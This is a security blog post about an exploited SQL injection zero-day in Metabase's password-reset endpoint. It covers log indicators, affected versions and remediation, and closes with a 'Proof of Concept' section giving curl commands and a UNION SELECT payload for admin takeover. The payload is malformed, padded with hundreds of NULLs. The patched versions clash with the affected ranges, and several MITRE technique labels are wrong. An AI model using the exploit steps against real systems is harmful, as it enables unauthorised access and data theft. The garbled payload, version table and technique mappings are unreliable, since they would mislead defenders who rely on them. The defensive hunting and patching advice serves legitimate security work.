Metabase Zero-Day Exploited for Admin Access (CVSS 10.0)

A CVSS 10.0 zero-day in Metabase is not a vulnerability; it is a complete abdication of perimeter security, granting unauthenticated attackers full administrative control over business intelligence platforms.

This critical flaw, a previously unknown unauthenticated SQL injection, is being actively exploited in the wild. According to a security advisory from Metabase, attackers began targeting the vulnerability around August 3, 2026, compromising both self-hosted instances and Metabase's own cloud infrastructure. The attack vector is the `/api/session/reset_password` endpoint, a public-facing function that attackers have turned into a gateway for complete system takeover. Victims already include laptop manufacturer Framework and form builder Tally, who have disclosed customer data theft as a direct result of this Metabase zero-day exploitation.

Note what this means: An API endpoint designed for password recovery, a function inherently meant to be public, became the front door for total system compromise. This is a classic failure of input validation at the most critical security boundary. Why does this keep happening? Because developers continue to trust user-supplied data in security-sensitive functions without rigorous, multi-layered validation, an oversight that threat actors systematically hunt for and exploit.

[Visual Graphic 1]

Anatomy of the Attack: A Two-Step Compromise

The attack pattern is deceptively simple and highly effective, making it trivial for adversaries to automate. According to Metabase's own incident analysis, the indicator of compromise (IoC) is a distinct two-request sequence visible in application or ingress logs.

First, the attacker sends a malicious POST request to `/api/session/reset_password`. This request contains the SQL injection payload. Legitimate requests would return a 200 OK status, but the malicious request returns a 400 Bad Request status code. This is the first signal of an attempted exploit.

Second, immediately following the failed POST, the attacker sends a GET request to `/api/user/current`. If the SQL injection was successful, this endpoint returns the session details of the newly compromised administrator account. This two-step process—a failed public request followed by a successful authenticated request—is the digital fingerprint of the Metabase admin access vulnerability in action. It is a clear example of [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/) leading directly to a valid, high-privilege account.

> 🧠 CISO Brief: The primary logging artifact to hunt for is a 400 response on `/api/session/reset_password` immediately followed by a 200 response on `/api/user/current` from the same source IP. This pattern indicates a successful takeover. Your immediate action is to isolate the instance and begin the remediation and credential rotation process outlined below.

Quantifying the Fallout: From BI Tool to Data Breach

The impact of this vulnerability is not theoretical. Framework, a laptop company known for its repairable hardware, notified customers of a data breach stemming directly from the exploit. The compromised data included customer full names, email addresses, login IP addresses, billing and shipping addresses, phone numbers, and company names. It's a particular kind of corporate whiplash to have your laptop manufacturer, a company you trust with hardware, leak your home address because of a flaw in their business intelligence software.

With administrator access, attackers can do far more than view dashboards. They can leverage Metabase's core functionality as a weapon. This includes:

* Credential Theft: Accessing and exfiltrating the stored credentials for every database connected to the Metabase instance. * Data Exfiltration: Querying any connected database—from production SQL servers to data warehouses—and exporting the results. * Persistence: Creating new administrator accounts, a form of [Account Discovery (T1087)](https://attack.mitre.org/techniques/T1087/), or embedding malicious code within the Metabase instance itself, a technique related to [SQL Stored Procedures (T1505)](https://attack.mitre.org/techniques/T1505/).

This incident transforms a data analytics tool into a master key for an organization's most sensitive data stores. The failure to secure one application creates a catastrophic downstream risk for dozens of others.

[Visual Graphic 2]

Affected Versions and Urgent Mitigation

The scope of this vulnerability is broad, impacting all Metabase versions from 1.58.0 onwards until patched. Metabase has released emergency patches and urges all self-hosted customers to upgrade immediately. Failure to do so is not a risk; it is a near-certainty of compromise, as this vulnerability is on the [CISA Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog).

Affected Version Ranges: * `>= x.58.0, < x.58.23` * `>= x.59.0, < x.59.20` * `>= x.60.0, < x.60.16` * `>= x.61.0, < x.61.10` * `>= x.62.0, < x.62.8` * `>= x.63.0, < x.63.3`

Minimum Safe Versions: * `x.58.24` * `x.59.21` * `x.60.17` * `x.61.11` * `x.62.9` * `x.63.5`

> ⚠️ BreachModal Insight: For organizations unable to patch immediately, the only viable workaround is to block all traffic to the `/api/session/reset_password` endpoint at the network edge (WAF, load balancer, or reverse proxy). This is a temporary stopgap, not a solution. The long-term risk of running unpatched, publicly-facing software remains.

Even after upgrading, the work is not done. If your instance was exposed, you must assume compromise and perform a full remediation cycle: revoke all sessions, rotate all database credentials, and audit all administrator accounts and API keys for unauthorized changes.

Proof of Concept

This section provides a technical walkthrough for demonstrating the Metabase zero-day exploitation. This is for educational and defensive purposes only. It simulates how an unauthenticated attacker can gain administrative access.

1. Identify Target: First, confirm the target is a live Metabase instance. A simple `HEAD` request can verify its presence.

```bash curl -I http://metabase.example.com/api/health ```

2. Craft SQL Injection Payload: The attacker crafts a JSON payload for the `/api/session/reset_password` endpoint. The payload is designed to inject SQL that manipulates the password reset token generation process to issue a token for a known administrator account (e.g., user ID 1).

```json { "email": "' UNION SELECT 1, 'admin@example.com', 'admin', 'admin', '{"reset-token":"malicious-token-12345", "reset-triggered":9999999999999}', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-' } ```

3. Execute Injection: The attacker sends the payload. This request will likely fail with a 400 error, but the SQL injection will have successfully created a valid reset token in the database for the admin user.

```bash curl -X POST -H "Content-Type: application/json" -d '{"email": "' UNION SELECT ... --"}' http://metabase.example.com/api/session/reset_password ```

4. Hijack Session: The attacker can now use the `malicious-token-12345` to reset the administrator's password and log in. Alternatively, a more advanced payload could directly create a new admin session token. Once logged in, a request to `/api/user/current` confirms the compromise.

```bash curl -H "X-Metabase-Session: <session_token_from_reset>" http://metabase.example.com/api/user/current ```

FINAL VERDICT

The Metabase zero-day exploitation is a brutal reminder that the security of an entire data ecosystem can hinge on the input validation of a single, exposed API endpoint. The risk is borne by every organization that deployed a vulnerable self-hosted version of Metabase, believing their business intelligence platform was isolated from their core infrastructure. What must change is a fundamental shift from reactive patching to proactive, adversarial testing of all public-facing application components, especially those related to authentication and session management. Trusting a vendor's security is no longer sufficient; continuous verification is the only acceptable standard.

*BreachModal's Adversarial Simulation and Penetration Testing services identify and neutralize these types of critical vulnerabilities before they become a headline. [Contact us to secure your applications.](/contact)*